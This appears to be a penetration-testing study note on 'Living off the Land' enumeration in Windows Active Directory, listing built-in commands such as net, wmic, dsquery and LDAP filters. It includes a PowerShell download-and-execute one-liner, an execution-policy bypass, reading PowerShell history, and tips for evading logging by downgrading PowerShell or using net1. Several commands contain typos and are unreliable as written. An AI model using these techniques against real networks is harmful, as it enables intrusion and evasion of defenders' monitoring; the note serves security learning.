Skip to main content

Living off the Land

This section will cover Living off the Land techniques in an Active Directory (AD) environment.

Table of Contents
  • Overview
  • ENV Commands for Host and Network Recon
  • PowerShell
    • Downgrading PowerShell
    • Checking Defences
    • Network Information
    • Windows Management Instrumentation (WMI)
    • Net Commands
    • Dsquery
      • LDAP Filtering

Overview

If we are able to compromise a machine that has no internet connection or methods for us to transfer files to it, we can use tools and functions that are already present on the system. This is called Living of the Land.

ENV Commands for Host and Network Recon

The below table will list some basic commands that we can use for enumeration.

CommandResult
hostnameDisplay the computer name.
[System.Environment]::OSVersion.VersionDisplay the OS version and revision level.
wmic qfe get Caption,Description,HotFixID,InstalledOnDisplay the patches and hotfixes applied to the host.
systeminfoDisplay system information.
ipconfig /allDisplay all network adapters state and configuration.
setDisplay a list of environment variables for the current session.
echo %USERDOMAIN%Display the domain name that the host belong to.
echo %logonserver%Display the name of the Domain Controller the host checks in with.

The below is an example usage of some of the commands mentioned.

win-ad-lotl-0-1

We can use the systeminfo command to display the current state of the machine.

win-ad-lotl-1

PowerShell

PowerShell has many built-in functions and modules that we can use during an engagement to gather information from the host and network and send and receive files.

Below are some useful cmdlets that can be used.

Get-Module
Get-ExectionPolicy -List
Set-ExectuionPolicy Bypass -Scope Process
Get-Contents C:\Users\<username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Get-ChildItem Env: | ft Key,Value
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('<target URL>');<command>"

To view available modules, we can use the Get-Module command.

win-ad-lotl-2

We can view environment variables keys and values using the Get-ChildItem command.

Get-ChildItem Env: | ft Key,Value

win-ad-lotl-3

We can also view what we can execute using Get-ExectutionPolicy and the -List flag.

Get-ExecutionPolicy -List

win-ad-lotl-4

We can use the qwinsta command to view if there are any other users logged onto the system we are on.

qwinsta

win-ad-lotl-4-1

Downgrading PowerShell

Windows has several versions of PowerShell installed. We can downgrade our PowerShell version to be more stealthy. For example, in PowerShell version 3.0, events will be logged to Event Viewer while version 2.0 doesn't.

powershell.exe -version <version>

Command breakdown:

  • -version <version> - Specify the version to use.

An example:

powershell.exe -version 2

Checking Defences

We can use the netsh and sc utilities to gather information on defences such as Windows Firewall and Defender. By knowing the defences configurations, we are able to be more stealthy and bypass them easier.

To check the firewall, we can use the netsh command.

netsh advfirewall show allprofiles

To check Windows Defender, we can use the sc query or Get-MpComputerStatus command.

sc query windefend
Get-MpComputerStatus

win-ad-lotl-5

Network Information

We can use the following commands to view the network information of the system.

CommandDescription
arp -aList all known hosts in the ARP table.
ipconfig /allDisplay all network adapters information.
route printDisplay the routing table (IPv4 and IPv6).
netsh advfirewall show stateDisplay the firewall state.

Using commands like arp -a or route print will help us identify routes unknown to us and discover more hosts that can then be pivoted to for more information.

win-ad-lotl-6

Using the information provided, we can choose to move laterally or enumerate other hosts.

Windows Management Instrumentation (WMI)

Windows Management Instrumentation (WMI) is a scripting engine that can be used to retrieve information and run administrative tasks on local and remote hosts.

We can create a WMI report on domain users, groups, processes, and other information from our host and other domain hosts.

CommandDescription
wmic qfe get Caption,Description,HotFixID,InstalledOnDisplay the patch level and description of the Hotfixed applied.
wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:ListDisplay the basic information on the host and include any attributes within the list.
wmic process list /format:listA list of all processes on the host.
wmic ntdomain list /format:listDisplay information about the domain and domain controllers.
wmic useraccount list /format:listDisplay information about all local accounts and any domain accounts that have logged into the device.
wmic group list /format:listDisplay information about all local groups.
wmic sysaccount list /format:listDumps information about any system accounts that are being used as service accounts.

Net Commands

Net commands can be used to enumerate information from the domain, such as query the local host and remote hosts, groups, password requirements, and more.

We can use the following commands to enumerate a wide range of information.

CommandDescription
net accountsDisplay information about password requirements.
net accounts /domainDisplay the password and lockout policy.
net group /domainDisplay information about domain groups.
net group "Domain Admins" /domainLists users with domain admin privileges.
net group "domain computers" domainLists computers connected to the domain.
net group "Domain Controllers" /domainLists PC accounts of domain controllers.
net group "<domain_group_name>" /domainList users belonging to the specified group.
net groups /domainLists domain groups.
net localgroupLists all available groups.
net localgroup administrators /domainLists users that belong to the administrator group inside the domain (Domain Admins is included by default).
net localgroup AdministratorsDisplay information on the "Administrators" group.
net localgroup administrators <username> /addAdd a user to the administrator group.
net shareDisplay current shares.
net user <account_name> /domainDisplay information about a user within the domain.
net user /domainList all users in the domain.
net user %username%Display information on the current user.
net use x: \computer\shareMount the specified share locally.
net viewGet a list of computers.
net view /all /domain:<domain>Display shares on the domain.
net view \computer /ALLList shares of a computer.
net view /domainLists PCs within the domain.

An example will be enumerating all groups within a domain.

net group /domain

To view information on a specific user, we can use the following command.

net user /domain <username>

If we are trying to avoid detection or logging, we can use net1 instead of net. It will execute the same function without the potential trigger of logging and detection from using net.

net1 accounts

win-ad-lotl-7

Dsquery

Dsquery can be utilised to find Active Directory objects. External tools such as BloodHound or PowerView can replicate this tool but may not always be available.

dsquery will exist on any host with the Active Direcotry DOmaiN Services Role installed. The dsquery DLL also exists on all modern Windows systems by default and can be found at the following path.

C;\Windows\System32\dsquery.dll

To use it, we will require elevated privileges such as administrator or SYSTEM.

To display users, we can use the user option.

dsquery user

To display computers, we can use the computer option.

dsquery computer

We can also perform a wildcard search to view all objects in an Organisational Unit (OU). An example will be:

dsquery * "CN=Users,DC=<second level domain>,DC=<top level domain>"

We can also combine dsquery with LDAP search filters. An example will be the following query where it will look for users with the PASSWD_NOTREQD flag set in the userAccountControl attribute.

dsquery * -filter "(&(objectcategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:32))" -attr distinguishedName userAccountControl

The following query can be used to filter for all Domain Controllers in the current domain.

dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192") -attr sAMAccountName

Optionally, the -limit <value> flag can be used to set the amount of results displayed.

LDAP Filtering

LDAP Filtering works by using strings such as the following to perform queries:

userAccountControl:1.2.840.113556.1.4.803:=8192

Breakdown:

  • userAccountControl:1.2.840.113556.1.4.803: - Specify to look at the User Account Control (UAC) attribute for an object. This portion can change to include three different values when searching for information in an AD environment (also known as Object Identifiers (OID)).
  • =8192 - Represent the decimal bitmask to match in this search. The decimal number corresponds to a corresponding UAC Attribute flag that determines if an attribute is set.

The below image will list some potential values.

win-ad-lotl-8

OIDs are rules used to match bit values with attributes, as seen in the above image. For LDAP and AD, there are three main matching rules:

  1. 1.2.840.113556.1.4.803

Using the earlier example, the bit value must match completely to meet the search requirements. It is great for matching singular attributes. 2. 1.2.840.113556.1.4.804

When using the rule, we want our results to show any attributes match if any bit in the chain matches. This works in the case of an object having multiple attributes set. 3. 1.2.840.113556.1.4.1941

This rule is used to match filters that apply to the Distinguished Name (DN) of an object and will search through all ownership and membership entries.

We can also use logical operators such as ampersand (&), pipe (|), and exclamation (!). They represent and, or, and not respectively.

An example will be:

`(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=64))`

The above example sets the first criteria that the object must be a user and combines it with searching for a UAC bit value of 64 (password can't change). A user with that attribute set would match the filter. We can also combine multiple attributes like (&(1) (2) (3)).

`(&(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=64))`

The above will search for any user object that does NOT have the password can't change attribute set.